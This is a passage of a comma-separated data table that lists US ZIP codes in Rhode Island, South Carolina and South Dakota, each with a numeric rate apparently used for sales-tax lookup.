US-RI-02831,US,RI,02831,7,,,, US-RI-02832,US,RI,02832,7,,,, US-RI-02833,US,RI,02833,7,,,, US-RI-02835,US,RI,02835,7,,,, US-RI-02836,US,RI,02836,7,,,, US-RI-02837,US,RI,02837,7,,,, US-RI-02838,US,RI,02838,7,,,, US-RI-02839,US,RI,02839,7,,,, US-RI-02840,US,RI,02840,7,,,, US-RI-02841,US,RI,02841,7,,,, US-RI-02842,US,RI,02842,7,,,, US-RI-02852,US,RI,02852,7,,,, US-RI-02857,US,RI,02857,7,,,, US-RI-02858,US,RI,02858,7,,,, US-RI-02859,US,RI,02859,7,,,, US-RI-02860,US,RI,02860,7,,,, US-RI-02861,US,RI,02861,7,,,, US-RI-02862,US,RI,02862,7,,,, US-RI-02863,US,RI,02863,7,,,, US-RI-02864,US,RI,02864,7,,,, US-RI-02865,US,RI,02865,7,,,, US-RI-02871,US,RI,02871,7,,,, US-RI-02872,US,RI,02872,7,,,, US-RI-02873,US,RI,02873,7,,,, US-RI-02874,US,RI,02874,7,,,, US-RI-02875,US,RI,02875,7,,,, US-RI-02876,US,RI,02876,7,,,, US-RI-02877,US,RI,02877,7,,,, US-RI-02878,US,RI,02878,7,,,, US-RI-02879,US,RI,02879,7,,,, US-RI-02880,US,RI,02880,7,,,, US-RI-02881,US,RI,02881,7,,,, US-RI-02882,US,RI,02882,7,,,, US-RI-02883,US,RI,02883,7,,,, US-RI-02885,US,RI,02885,7,,,, US-RI-02886,US,RI,02886,7,,,, US-RI-02887,US,RI,02887,7,,,, US-RI-02888,US,RI,02888,7,,,, US-RI-02889,US,RI,02889,7,,,, US-RI-02891,US,RI,02891,7,,,, US-RI-02892,US,RI,02892,7,,,, US-RI-02893,US,RI,02893,7,,,, US-RI-02894,US,RI,02894,7,,,, US-RI-02895,US,RI,02895,7,,,, US-RI-02896,US,RI,02896,7,,,, US-RI-02898,US,RI,02898,7,,,, US-RI-02901,US,RI,02901,7,,,, US-RI-02902,US,RI,02902,7,,,, US-RI-02903,US,RI,02903,7,,,, US-RI-02904,US,RI,02904,7,,,, US-RI-02905,US,RI,02905,7,,,, US-RI-02906,US,RI,02906,7,,,, US-RI-02907,US,RI,02907,7,,,, US-RI-02908,US,RI,02908,7,,,, US-RI-02909,US,RI,02909,7,,,, US-RI-02910,US,RI,02910,7,,,, US-RI-02911,US,RI,02911,7,,,, US-RI-02912,US,RI,02912,7,,,, US-RI-02914,US,RI,02914,7,,,, US-RI-02915,US,RI,02915,7,,,, US-RI-02916,US,RI,02916,7,,,, US-RI-02917,US,RI,02917,7,,,, US-RI-02918,US,RI,02918,7,,,, US-RI-02919,US,RI,02919,7,,,, US-RI-02920,US,RI,02920,7,,,, US-RI-02921,US,RI,02921,7,,,, US-RI-02940,US,RI,02940,7,,,, US-SC-29001,US,SC,29001,8,,,, US-SC-29002,US,SC,29002,8,,,, US-SC-29003,US,SC,29003,8,,,, US-SC-29006,US,SC,29006,7,,,, US-SC-29009,US,SC,29009,7,,,, US-SC-29010,US,SC,29010,8,,,, US-SC-29014,US,SC,29014,8,,,, US-SC-29015,US,SC,29015,7,,,, US-SC-29016,US,SC,29016,8,,,, US-SC-29018,US,SC,29018,7,,,, US-SC-29020,US,SC,29020,7,,,, US-SC-29021,US,SC,29021,7,,,, US-SC-29030,US,SC,29030,7,,,, US-SC-29031,US,SC,29031,6,,,, US-SC-29032,US,SC,29032,7,,,, US-SC-29033,US,SC,29033,7,,,, US-SC-29036,US,SC,29036,7,,,, US-SC-29037,US,SC,29037,7,,,, US-SC-29038,US,SC,29038,7,,,, US-SC-29039,US,SC,29039,7,,,, US-SC-29040,US,SC,29040,8,,,, US-SC-29041,US,SC,29041,8,,,, US-SC-29042,US,SC,29042,8,,,, US-SC-29044,US,SC,29044,8,,,, US-SC-29045,US,SC,29045,7,,,, US-SC-29046,US,SC,29046,8,,,, US-SC-29047,US,SC,29047,7,,,, US-SC-29048,US,SC,29048,7,,,, US-SC-29051,US,SC,29051,8,,,, US-SC-29052,US,SC,29052,8,,,, US-SC-29053,US,SC,29053,7,,,, US-SC-29054,US,SC,29054,7,,,, US-SC-29055,US,SC,29055,8,,,, US-SC-29056,US,SC,29056,7,,,, US-SC-29058,US,SC,29058,8,,,, US-SC-29059,US,SC,29059,7,,,, US-SC-29061,US,SC,29061,8,,,, US-SC-29062,US,SC,29062,8,,,, US-SC-29063,US,SC,29063,8,,,, US-SC-29065,US,SC,29065,7,,,, US-SC-29067,US,SC,29067,8,,,, US-SC-29069,US,SC,29069,8,,,, US-SC-29070,US,SC,29070,7,,,, US-SC-29071,US,SC,29071,7,,,, US-SC-29072,US,SC,29072,7,,,, US-SC-29073,US,SC,29073,7,,,, US-SC-29074,US,SC,29074,7,,,, US-SC-29075,US,SC,29075,7,,,, US-SC-29078,US,SC,29078,7,,,, US-SC-29079,US,SC,29079,8,,,, US-SC-29080,US,SC,29080,8,,,, US-SC-29081,US,SC,29081,8,,,, US-SC-29082,US,SC,29082,7,,,, US-SC-29101,US,SC,29101,8,,,, US-SC-29102,US,SC,29102,8,,,, US-SC-29104,US,SC,29104,8,,,, US-SC-29105,US,SC,29105,7,,,, US-SC-29107,US,SC,29107,7,,,, US-SC-29108,US,SC,29108,7,,,, US-SC-29111,US,SC,29111,8,,,, US-SC-29112,US,SC,29112,7,,,, US-SC-29113,US,SC,29113,7,,,, US-SC-29114,US,SC,29114,8,,,, US-SC-29115,US,SC,29115,7,,,, US-SC-29116,US,SC,29116,7,,,, US-SC-29117,US,SC,29117,7,,,, US-SC-29118,US,SC,29118,7,,,, US-SC-29122,US,SC,29122,7,,,, US-SC-29123,US,SC,29123,7,,,, US-SC-29125,US,SC,29125,8,,,, US-SC-29126,US,SC,29126,7,,,, US-SC-29127,US,SC,29127,7,,,, US-SC-29128,US,SC,29128,8,,,, US-SC-29129,US,SC,29129,7,,,, US-SC-29130,US,SC,29130,7,,,, US-SC-29132,US,SC,29132,7,,,, US-SC-29133,US,SC,29133,7,,,, US-SC-29135,US,SC,29135,7,,,, US-SC-29137,US,SC,29137,7,,,, US-SC-29138,US,SC,29138,7,,,, US-SC-29142,US,SC,29142,7,,,, US-SC-29143,US,SC,29143,8,,,, US-SC-29145,US,SC,29145,7,,,, US-SC-29146,US,SC,29146,7,,,, US-SC-29147,US,SC,29147,8,,,, US-SC-29148,US,SC,29148,8,,,, US-SC-29150,US,SC,29150,8,,,, US-SC-29151,US,SC,29151,8,,,, US-SC-29152,US,SC,29152,8,,,, US-SC-29153,US,SC,29153,8,,,, US-SC-29154,US,SC,29154,8,,,, US-SC-29160,US,SC,29160,7,,,, US-SC-29161,US,SC,29161,8,,,, US-SC-29162,US,SC,29162,8,,,, US-SC-29163,US,SC,29163,7,,,, US-SC-29164,US,SC,29164,7,,,, US-SC-29166,US,SC,29166,7,,,, US-SC-29168,US,SC,29168,8,,,, US-SC-29169,US,SC,29169,7,,,, US-SC-29170,US,SC,29170,7,,,, US-SC-29171,US,SC,29171,7,,,, US-SC-29172,US,SC,29172,7,,,, US-SC-29175,US,SC,29175,7,,,, US-SC-29177,US,SC,29177,8,,,, US-SC-29178,US,SC,29178,7,,,, US-SC-29180,US,SC,29180,7,,,, US-SC-29201,US,SC,29201,8,,,, US-SC-29202,US,SC,29202,8,,,, US-SC-29203,US,SC,29203,8,,,, US-SC-29204,US,SC,29204,8,,,, US-SC-29205,US,SC,29205,8,,,, US-SC-29206,US,SC,29206,8,,,, US-SC-29207,US,SC,29207,8,,,, US-SC-29208,US,SC,29208,8,,,, US-SC-29209,US,SC,29209,8,,,, US-SC-29210,US,SC,29210,8,,,, US-SC-29211,US,SC,29211,8,,,, US-SC-29212,US,SC,29212,7,,,, US-SC-29214,US,SC,29214,8,,,, US-SC-29215,US,SC,29215,8,,,, US-SC-29216,US,SC,29216,8,,,, US-SC-29217,US,SC,29217,8,,,, US-SC-29218,US,SC,29218,8,,,, US-SC-29219,US,SC,29219,8,,,, US-SC-29220,US,SC,29220,8,,,, US-SC-29221,US,SC,29221,8,,,, US-SC-29222,US,SC,29222,8,,,, US-SC-29223,US,SC,29223,8,,,, US-SC-29224,US,SC,29224,8,,,, US-SC-29225,US,SC,29225,8,,,, US-SC-29226,US,SC,29226,8,,,, US-SC-29227,US,SC,29227,8,,,, US-SC-29228,US,SC,29228,7,,,, US-SC-29229,US,SC,29229,8,,,, US-SC-29230,US,SC,29230,8,,,, US-SC-29240,US,SC,29240,8,,,, US-SC-29250,US,SC,29250,8,,,, US-SC-29260,US,SC,29260,8,,,, US-SC-29290,US,SC,29290,8,,,, US-SC-29292,US,SC,29292,8,,,, US-SC-29301,US,SC,29301,6,,,, US-SC-29302,US,SC,29302,6,,,, US-SC-29303,US,SC,29303,6,,,, US-SC-29304,US,SC,29304,6,,,, US-SC-29305,US,SC,29305,6,,,, US-SC-29306,US,SC,29306,6,,,, US-SC-29307,US,SC,29307,6,,,, US-SC-29316,US,SC,29316,6,,,, US-SC-29319,US,SC,29319,6,,,, US-SC-29320,US,SC,29320,6,,,, US-SC-29321,US,SC,29321,6,,,, US-SC-29322,US,SC,29322,6,,,, US-SC-29323,US,SC,29323,6,,,, US-SC-29324,US,SC,29324,6,,,, US-SC-29325,US,SC,29325,7,,,, US-SC-29329,US,SC,29329,6,,,, US-SC-29330,US,SC,29330,6,,,, US-SC-29331,US,SC,29331,6,,,, US-SC-29332,US,SC,29332,7,,,, US-SC-29333,US,SC,29333,6,,,, US-SC-29334,US,SC,29334,6,,,, US-SC-29335,US,SC,29335,6,,,, US-SC-29336,US,SC,29336,6,,,, US-SC-29338,US,SC,29338,6,,,, US-SC-29340,US,SC,29340,8,,,, US-SC-29341,US,SC,29341,8,,,, US-SC-29342,US,SC,29342,8,,,, US-SC-29346,US,SC,29346,6,,,, US-SC-29348,US,SC,29348,6,,,, US-SC-29349,US,SC,29349,6,,,, US-SC-29351,US,SC,29351,7,,,, US-SC-29353,US,SC,29353,6,,,, US-SC-29355,US,SC,29355,7,,,, US-SC-29356,US,SC,29356,6,,,, US-SC-29360,US,SC,29360,7,,,, US-SC-29364,US,SC,29364,6,,,, US-SC-29365,US,SC,29365,6,,,, US-SC-29368,US,SC,29368,6,,,, US-SC-29369,US,SC,29369,6,,,, US-SC-29370,US,SC,29370,7,,,, US-SC-29372,US,SC,29372,6,,,, US-SC-29373,US,SC,29373,6,,,, US-SC-29374,US,SC,29374,6,,,, US-SC-29375,US,SC,29375,6,,,, US-SC-29376,US,SC,29376,6,,,, US-SC-29377,US,SC,29377,6,,,, US-SC-29378,US,SC,29378,6,,,, US-SC-29379,US,SC,29379,6,,,, US-SC-29384,US,SC,29384,7,,,, US-SC-29385,US,SC,29385,6,,,, US-SC-29386,US,SC,29386,6,,,, US-SC-29388,US,SC,29388,6,,,, US-SC-29395,US,SC,29395,6,,,, US-SC-29401,US,SC,29401,8.5,,,, US-SC-29402,US,SC,29402,8.5,,,, US-SC-29403,US,SC,29403,8.5,,,, US-SC-29404,US,SC,29404,8.5,,,, US-SC-29405,US,SC,29405,8.5,,,, US-SC-29406,US,SC,29406,8.5,,,, US-SC-29407,US,SC,29407,8.5,,,, US-SC-29409,US,SC,29409,8.5,,,, US-SC-29410,US,SC,29410,8,,,, US-SC-29412,US,SC,29412,8.5,,,, US-SC-29413,US,SC,29413,8.5,,,, US-SC-29414,US,SC,29414,8.5,,,, US-SC-29415,US,SC,29415,8.5,,,, US-SC-29416,US,SC,29416,8.5,,,, US-SC-29417,US,SC,29417,8.5,,,, US-SC-29418,US,SC,29418,8.5,,,, US-SC-29419,US,SC,29419,8.5,,,, US-SC-29420,US,SC,29420,7,,,, US-SC-29422,US,SC,29422,8.5,,,, US-SC-29423,US,SC,29423,8.5,,,, US-SC-29424,US,SC,29424,8.5,,,, US-SC-29425,US,SC,29425,8.5,,,, US-SC-29426,US,SC,29426,8.5,,,, US-SC-29429,US,SC,29429,8.5,,,, US-SC-29430,US,SC,29430,8,,,, US-SC-29431,US,SC,29431,8,,,, US-SC-29432,US,SC,29432,7,,,, US-SC-29433,US,SC,29433,7,,,, US-SC-29434,US,SC,29434,8,,,, US-SC-29435,US,SC,29435,7,,,, US-SC-29436,US,SC,29436,8,,,, US-SC-29437,US,SC,29437,7,,,, US-SC-29438,US,SC,29438,8.5,,,, US-SC-29439,US,SC,29439,8.5,,,, US-SC-29440,US,SC,29440,6,,,, US-SC-29442,US,SC,29442,6,,,, US-SC-29445,US,SC,29445,8,,,, US-SC-29446,US,SC,29446,7,,,, US-SC-29447,US,SC,29447,7,,,, US-SC-29448,US,SC,29448,7,,,, US-SC-29449,US,SC,29449,8.5,,,, US-SC-29450,US,SC,29450,8,,,, US-SC-29451,US,SC,29451,8.5,,,, US-SC-29452,US,SC,29452,7,,,, US-SC-29453,US,SC,29453,8,,,, US-SC-29455,US,SC,29455,8.5,,,, US-SC-29456,US,SC,29456,7,,,, US-SC-29457,US,SC,29457,8.5,,,, US-SC-29458,US,SC,29458,8.5,,,, US-SC-29461,US,SC,29461,8,,,, US-SC-29464,US,SC,29464,8.5,,,, US-SC-29465,US,SC,29465,8.5,,,, US-SC-29466,US,SC,29466,8.5,,,, US-SC-29468,US,SC,29468,8,,,, US-SC-29469,US,SC,29469,8,,,, US-SC-29470,US,SC,29470,8.5,,,, US-SC-29471,US,SC,29471,7,,,, US-SC-29472,US,SC,29472,7,,,, US-SC-29474,US,SC,29474,7,,,, US-SC-29475,US,SC,29475,7,,,, US-SC-29476,US,SC,29476,8,,,, US-SC-29477,US,SC,29477,7,,,, US-SC-29479,US,SC,29479,8,,,, US-SC-29481,US,SC,29481,7,,,, US-SC-29482,US,SC,29482,8.5,,,, US-SC-29483,US,SC,29483,7,,,, US-SC-29484,US,SC,29484,7,,,, US-SC-29485,US,SC,29485,7,,,, US-SC-29487,US,SC,29487,8.5,,,, US-SC-29488,US,SC,29488,7,,,, US-SC-29492,US,SC,29492,8,,,, US-SC-29493,US,SC,29493,7,,,, US-SC-29501,US,SC,29501,8,,,, US-SC-29502,US,SC,29502,8,,,, US-SC-29503,US,SC,29503,8,,,, US-SC-29504,US,SC,29504,8,,,, US-SC-29505,US,SC,29505,8,,,, US-SC-29506,US,SC,29506,8,,,, US-SC-29510,US,SC,29510,6,,,, US-SC-29511,US,SC,29511,8,,,, US-SC-29512,US,SC,29512,8,,,, US-SC-29516,US,SC,29516,8,,,, US-SC-29518,US,SC,29518,7,,,, US-SC-29519,US,SC,29519,8,,,, US-SC-29520,US,SC,29520,8,,,, US-SC-29525,US,SC,29525,8,,,, US-SC-29526,US,SC,29526,8,,,, US-SC-29527,US,SC,29527,8,,,, US-SC-29528,US,SC,29528,8,,,, US-SC-29530,US,SC,29530,8,,,, US-SC-29532,US,SC,29532,8,,,, US-SC-29536,US,SC,29536,8,,,, US-SC-29540,US,SC,29540,8,,,, US-SC-29541,US,SC,29541,8,,,, US-SC-29543,US,SC,29543,8,,,, US-SC-29544,US,SC,29544,8,,,, US-SC-29545,US,SC,29545,8,,,, US-SC-29546,US,SC,29546,8,,,, US-SC-29547,US,SC,29547,8,,,, US-SC-29550,US,SC,29550,8,,,, US-SC-29551,US,SC,29551,8,,,, US-SC-29554,US,SC,29554,6,,,, US-SC-29555,US,SC,29555,8,,,, US-SC-29556,US,SC,29556,7,,,, US-SC-29560,US,SC,29560,8,,,, US-SC-29563,US,SC,29563,8,,,, US-SC-29564,US,SC,29564,7,,,, US-SC-29565,US,SC,29565,8,,,, US-SC-29566,US,SC,29566,8,,,, US-SC-29567,US,SC,29567,8,,,, US-SC-29568,US,SC,29568,8,,,, US-SC-29569,US,SC,29569,8,,,, US-SC-29570,US,SC,29570,8,,,, US-SC-29571,US,SC,29571,8,,,, US-SC-29572,US,SC,29572,9,,,, US-SC-29574,US,SC,29574,8,,,, US-SC-29575,US,SC,29575,8,,,, US-SC-29576,US,SC,29576,8,,,, US-SC-29577,US,SC,29577,9,,,, US-SC-29578,US,SC,29578,9,,,, US-SC-29579,US,SC,29579,8,,,, US-SC-29580,US,SC,29580,7,,,, US-SC-29581,US,SC,29581,8,,,, US-SC-29582,US,SC,29582,8,,,, US-SC-29583,US,SC,29583,8,,,, US-SC-29584,US,SC,29584,8,,,, US-SC-29585,US,SC,29585,6,,,, US-SC-29587,US,SC,29587,8,,,, US-SC-29588,US,SC,29588,8,,,, US-SC-29589,US,SC,29589,8,,,, US-SC-29590,US,SC,29590,7,,,, US-SC-29591,US,SC,29591,8,,,, US-SC-29592,US,SC,29592,8,,,, US-SC-29593,US,SC,29593,8,,,, US-SC-29594,US,SC,29594,8,,,, US-SC-29596,US,SC,29596,8,,,, US-SC-29597,US,SC,29597,8,,,, US-SC-29598,US,SC,29598,8,,,, US-SC-29601,US,SC,29601,6,,,, US-SC-29602,US,SC,29602,6,,,, US-SC-29603,US,SC,29603,6,,,, US-SC-29604,US,SC,29604,6,,,, US-SC-29605,US,SC,29605,6,,,, US-SC-29606,US,SC,29606,6,,,, US-SC-29607,US,SC,29607,6,,,, US-SC-29608,US,SC,29608,6,,,, US-SC-29609,US,SC,29609,6,,,, US-SC-29610,US,SC,29610,6,,,, US-SC-29611,US,SC,29611,6,,,, US-SC-29612,US,SC,29612,6,,,, US-SC-29613,US,SC,29613,6,,,, US-SC-29614,US,SC,29614,6,,,, US-SC-29615,US,SC,29615,6,,,, US-SC-29616,US,SC,29616,6,,,, US-SC-29617,US,SC,29617,6,,,, US-SC-29620,US,SC,29620,7,,,, US-SC-29621,US,SC,29621,6,,,, US-SC-29622,US,SC,29622,6,,,, US-SC-29623,US,SC,29623,6,,,, US-SC-29624,US,SC,29624,6,,,, US-SC-29625,US,SC,29625,6,,,, US-SC-29626,US,SC,29626,6,,,, US-SC-29627,US,SC,29627,6,,,, US-SC-29628,US,SC,29628,7,,,, US-SC-29630,US,SC,29630,7,,,, US-SC-29631,US,SC,29631,7,,,, US-SC-29632,US,SC,29632,7,,,, US-SC-29633,US,SC,29633,7,,,, US-SC-29634,US,SC,29634,7,,,, US-SC-29635,US,SC,29635,6,,,, US-SC-29636,US,SC,29636,6,,,, US-SC-29638,US,SC,29638,7,,,, US-SC-29639,US,SC,29639,7,,,, US-SC-29640,US,SC,29640,7,,,, US-SC-29641,US,SC,29641,7,,,, US-SC-29642,US,SC,29642,7,,,, US-SC-29643,US,SC,29643,6,,,, US-SC-29644,US,SC,29644,7,,,, US-SC-29645,US,SC,29645,7,,,, US-SC-29646,US,SC,29646,6,,,, US-SC-29647,US,SC,29647,6,,,, US-SC-29648,US,SC,29648,6,,,, US-SC-29649,US,SC,29649,6,,,, US-SC-29650,US,SC,29650,6,,,, US-SC-29651,US,SC,29651,6,,,, US-SC-29652,US,SC,29652,6,,,, US-SC-29653,US,SC,29653,6,,,, US-SC-29654,US,SC,29654,6,,,, US-SC-29655,US,SC,29655,6,,,, US-SC-29656,US,SC,29656,6,,,, US-SC-29657,US,SC,29657,7,,,, US-SC-29658,US,SC,29658,6,,,, US-SC-29659,US,SC,29659,7,,,, US-SC-29661,US,SC,29661,6,,,, US-SC-29662,US,SC,29662,6,,,, US-SC-29664,US,SC,29664,6,,,, US-SC-29665,US,SC,29665,6,,,, US-SC-29666,US,SC,29666,6,,,, US-SC-29667,US,SC,29667,7,,,, US-SC-29669,US,SC,29669,6,,,, US-SC-29670,US,SC,29670,6,,,, US-SC-29671,US,SC,29671,7,,,, US-SC-29672,US,SC,29672,6,,,, US-SC-29673,US,SC,29673,6,,,, US-SC-29675,US,SC,29675,6,,,, US-SC-29676,US,SC,29676,6,,,, US-SC-29677,US,SC,29677,6,,,, US-SC-29678,US,SC,29678,6,,,, US-SC-29679,US,SC,29679,6,,,, US-SC-29680,US,SC,29680,6,,,, US-SC-29681,US,SC,29681,6,,,, US-SC-29682,US,SC,29682,7,,,, US-SC-29683,US,SC,29683,6,,,, US-SC-29684,US,SC,29684,6,,,, US-SC-29685,US,SC,29685,7,,,, US-SC-29686,US,SC,29686,6,,,, US-SC-29687,US,SC,29687,6,,,, US-SC-29688,US,SC,29688,6,,,, US-SC-29689,US,SC,29689,6,,,, US-SC-29690,US,SC,29690,6,,,, US-SC-29691,US,SC,29691,6,,,, US-SC-29692,US,SC,29692,7,,,, US-SC-29693,US,SC,29693,6,,,, US-SC-29696,US,SC,29696,6,,,, US-SC-29697,US,SC,29697,6,,,, US-SC-29702,US,SC,29702,8,,,, US-SC-29703,US,SC,29703,7,,,, US-SC-29704,US,SC,29704,7,,,, US-SC-29706,US,SC,29706,8,,,, US-SC-29707,US,SC,29707,8,,,, US-SC-29708,US,SC,29708,7,,,, US-SC-29709,US,SC,29709,8,,,, US-SC-29710,US,SC,29710,7,,,, US-SC-29712,US,SC,29712,8,,,, US-SC-29714,US,SC,29714,8,,,, US-SC-29715,US,SC,29715,7,,,, US-SC-29716,US,SC,29716,7,,,, US-SC-29717,US,SC,29717,7,,,, US-SC-29718,US,SC,29718,8,,,, US-SC-29720,US,SC,29720,8,,,, US-SC-29721,US,SC,29721,8,,,, US-SC-29722,US,SC,29722,8,,,, US-SC-29724,US,SC,29724,8,,,, US-SC-29726,US,SC,29726,7,,,, US-SC-29727,US,SC,29727,8,,,, US-SC-29728,US,SC,29728,8,,,, US-SC-29729,US,SC,29729,8,,,, US-SC-29730,US,SC,29730,7,,,, US-SC-29731,US,SC,29731,7,,,, US-SC-29732,US,SC,29732,7,,,, US-SC-29733,US,SC,29733,7,,,, US-SC-29734,US,SC,29734,7,,,, US-SC-29741,US,SC,29741,8,,,, US-SC-29742,US,SC,29742,7,,,, US-SC-29743,US,SC,29743,7,,,, US-SC-29744,US,SC,29744,8,,,, US-SC-29745,US,SC,29745,7,,,, US-SC-29801,US,SC,29801,7,,,, US-SC-29802,US,SC,29802,7,,,, US-SC-29803,US,SC,29803,7,,,, US-SC-29804,US,SC,29804,7,,,, US-SC-29805,US,SC,29805,7,,,, US-SC-29808,US,SC,29808,7,,,, US-SC-29809,US,SC,29809,7,,,, US-SC-29810,US,SC,29810,8,,,, US-SC-29812,US,SC,29812,7,,,, US-SC-29813,US,SC,29813,7,,,, US-SC-29816,US,SC,29816,7,,,, US-SC-29817,US,SC,29817,7,,,, US-SC-29819,US,SC,29819,6,,,, US-SC-29821,US,SC,29821,7,,,, US-SC-29822,US,SC,29822,7,,,, US-SC-29824,US,SC,29824,7,,,, US-SC-29826,US,SC,29826,7,,,, US-SC-29827,US,SC,29827,8,,,, US-SC-29828,US,SC,29828,7,,,, US-SC-29829,US,SC,29829,7,,,, US-SC-29831,US,SC,29831,7,,,, US-SC-29832,US,SC,29832,7,,,, US-SC-29834,US,SC,29834,7,,,, US-SC-29835,US,SC,29835,7,,,, US-SC-29836,US,SC,29836,8,,,, US-SC-29838,US,SC,29838,7,,,, US-SC-29839,US,SC,29839,7,,,, US-SC-29840,US,SC,29840,7,,,, US-SC-29841,US,SC,29841,7,,,, US-SC-29842,US,SC,29842,7,,,, US-SC-29843,US,SC,29843,8,,,, US-SC-29844,US,SC,29844,8,,,, US-SC-29845,US,SC,29845,7,,,, US-SC-29846,US,SC,29846,8,,,, US-SC-29847,US,SC,29847,7,,,, US-SC-29848,US,SC,29848,7,,,, US-SC-29849,US,SC,29849,8,,,, US-SC-29850,US,SC,29850,7,,,, US-SC-29851,US,SC,29851,7,,,, US-SC-29853,US,SC,29853,7,,,, US-SC-29856,US,SC,29856,7,,,, US-SC-29860,US,SC,29860,7,,,, US-SC-29861,US,SC,29861,7,,,, US-SC-29899,US,SC,29899,8,,,, US-SC-29901,US,SC,29901,6,,,, US-SC-29902,US,SC,29902,6,,,, US-SC-29903,US,SC,29903,6,,,, US-SC-29904,US,SC,29904,6,,,, US-SC-29905,US,SC,29905,6,,,, US-SC-29906,US,SC,29906,6,,,, US-SC-29907,US,SC,29907,6,,,, US-SC-29909,US,SC,29909,6,,,, US-SC-29910,US,SC,29910,6,,,, US-SC-29911,US,SC,29911,8,,,, US-SC-29912,US,SC,29912,8,,,, US-SC-29913,US,SC,29913,8,,,, US-SC-29914,US,SC,29914,6,,,, US-SC-29915,US,SC,29915,6,,,, US-SC-29916,US,SC,29916,8,,,, US-SC-29918,US,SC,29918,8,,,, US-SC-29920,US,SC,29920,6,,,, US-SC-29921,US,SC,29921,8,,,, US-SC-29922,US,SC,29922,8,,,, US-SC-29923,US,SC,29923,8,,,, US-SC-29924,US,SC,29924,8,,,, US-SC-29925,US,SC,29925,6,,,, US-SC-29926,US,SC,29926,6,,,, US-SC-29927,US,SC,29927,8,,,, US-SC-29928,US,SC,29928,6,,,, US-SC-29929,US,SC,29929,7,,,, US-SC-29931,US,SC,29931,6,,,, US-SC-29932,US,SC,29932,8,,,, US-SC-29933,US,SC,29933,8,,,, US-SC-29934,US,SC,29934,8,,,, US-SC-29935,US,SC,29935,6,,,, US-SC-29936,US,SC,29936,8,,,, US-SC-29938,US,SC,29938,6,,,, US-SC-29939,US,SC,29939,8,,,, US-SC-29940,US,SC,29940,6,,,, US-SC-29941,US,SC,29941,6,,,, US-SC-29943,US,SC,29943,8,,,, US-SC-29944,US,SC,29944,8,,,, US-SC-29945,US,SC,29945,7,,,, US-SD-57001,US,SD,57001,4,,,, US-SD-57002,US,SD,57002,4,,,, US-SD-57003,US,SD,57003,4,,,, US-SD-57004,US,SD,57004,6,,,, US-SD-57005,US,SD,57005,6,,,, US-SD-57006,US,SD,57006,6,,,, US-SD-57007,US,SD,57007,6,,,, US-SD-57010,US,SD,57010,4,,,, US-SD-57012,US,SD,57012,4,,,, US-SD-57013,US,SD,57013,6,,,, US-SD-57014,US,SD,57014,4,,,, US-SD-57015,US,SD,57015,4,,,, US-SD-57016,US,SD,57016,4,,,, US-SD-57017,US,SD,57017,4,,,, US-SD-57018,US,SD,57018,4,,,, US-SD-57020,US,SD,57020,6,,,, US-SD-57021,US,SD,57021,4,,,, US-SD-57022,US,SD,57022,6,,,, US-SD-57024,US,SD,57024,6,,,, US-SD-57025,US,SD,57025,6,,,, US-SD-57026,US,SD,57026,4,,,, US-SD-57027,US,SD,57027,4,,,, US-SD-57028,US,SD,57028,6,,,, US-SD-57029,US,SD,57029,6,,,, US-SD-57030,US,SD,57030,4,,,, US-SD-57031,US,SD,57031,4,,,, US-SD-57032,US,SD,57032,6,,,, US-SD-57033,US,SD,57033,6,,,, US-SD-57034,US,SD,57034,4,,,, US-SD-57035,US,SD,57035,6,,,, US-SD-57036,US,SD,57036,4,,,, US-SD-57037,US,SD,57037,4,,,, US-SD-57038,US,SD,57038,4,,,, US-SD-57039,US,SD,57039,6,,,, US-SD-57040,US,SD,57040,4,,,, US-SD-57041,US,SD,57041,4,,,, US-SD-57042,US,SD,57042,6,,,, US-SD-57043,US,SD,57043,4,,,, US-SD-57045,US,SD,57045,4,,,, US-SD-57046,US,SD,57046,4,,,, US-SD-57047,US,SD,57047,6,,,, US-SD-57048,US,SD,57048,4,,,, US-SD-57049,US,SD,57049,6,,,, US-SD-57050,US,SD,57050,4,,,, US-SD-57051,US,SD,57051,4,,,, US-SD-57052,US,SD,57052,4,,,, US-SD-57053,US,SD,57053,4,,,, US-SD-57054,US,SD,57054,4,,,, US-SD-57055,US,SD,57055,4,,,, US-SD-57057,US,SD,57057,4,,,, US-SD-57058,US,SD,57058,6,,,, US-SD-57059,US,SD,57059,6,,,, US-SD-57061,US,SD,57061,4,,,, US-SD-57062,US,SD,57062,6,,,, US-SD-57063,US,SD,57063,4,,,, US-SD-57064,US,SD,57064,6,,,, US-SD-57065,US,SD,57065,4,,,, US-SD-57066,US,SD,57066,6,,,, US-SD-57067,US,SD,57067,4,,,, US-SD-57068,US,SD,57068,6,,,, US-SD-57069,US,SD,57069,6,,,, US-SD-57070,US,SD,57070,4,,,, US-SD-57071,US,SD,57071,6,,,, US-SD-57072,US,SD,57072,4,,,, US-SD-57073,US,SD,57073,4,,,, US-SD-57075,US,SD,57075,4,,,, US-SD-57076,US,SD,57076,4,,,, US-SD-57077,US,SD,57077,4,,,, US-SD-57078,US,SD,57078,6,,,, US-SD-57101,US,SD,57101,6,,,, US-SD-57103,US,SD,57103,6,,,, US-SD-57104,US,SD,57104,6,,,, US-SD-57105,US,SD,57105,6,,,, US-SD-57106,US,SD,57106,6,,,, US-SD-57107,US,SD,57107,6,,,, US-SD-57108,US,SD,57108,6,,,, US-SD-57109,US,SD,57109,6,,,, US-SD-57110,US,SD,57110,6,,,, US-SD-57117,US,SD,57117,6,,,, US-SD-57118,US,SD,57118,6,,,, US-SD-57186,US,SD,57186,6,,,, US-SD-57193,US,SD,57193,6,,,, US-SD-57197,US,SD,57197,6,,,, US-SD-57198,US,SD,57198,6,,,, US-SD-57201,US,SD,57201,6,,,, US-SD-57212,US,SD,57212,4,,,, US-SD-57213,US,SD,57213,4,,,, US-SD-57214,US,SD,57214,6,,,, US-SD-57216,US,SD,57216,6,,,, US-SD-57217,US,SD,57217,4,,,, US-SD-57218,US,SD,57218,4,,,, US-SD-57219,US,SD,57219,4,,,, US-SD-57220,US,SD,57220,4,,,, US-SD-57221,US,SD,57221,4,,,, US-SD-57223,US,SD,57223,4,,,, US-SD-57224,US,SD,57224,4,,,, US-SD-57225,US,SD,57225,6,,,, US-SD-57226,US,SD,57226,4,,,, US-SD-57227,US,SD,57227,4,,,, US-SD-57231,US,SD,57231,6,,,, US-SD-57232,US,SD,57232,4,,,, US-SD-57233,US,SD,57233,4,,,, US-SD-57234,US,SD,57234,6,,,, US-SD-57235,US,SD,57235,4,,,, US-SD-57236,US,SD,57236,4,,,, US-SD-57237,US,SD,57237,4,,,, US-SD-57238,US,SD,57238,4,,,, US-SD-57239,US,SD,57239,4,,,, US-SD-57241,US,SD,57241,4,,,, US-SD-57242,US,SD,57242,4,,,, 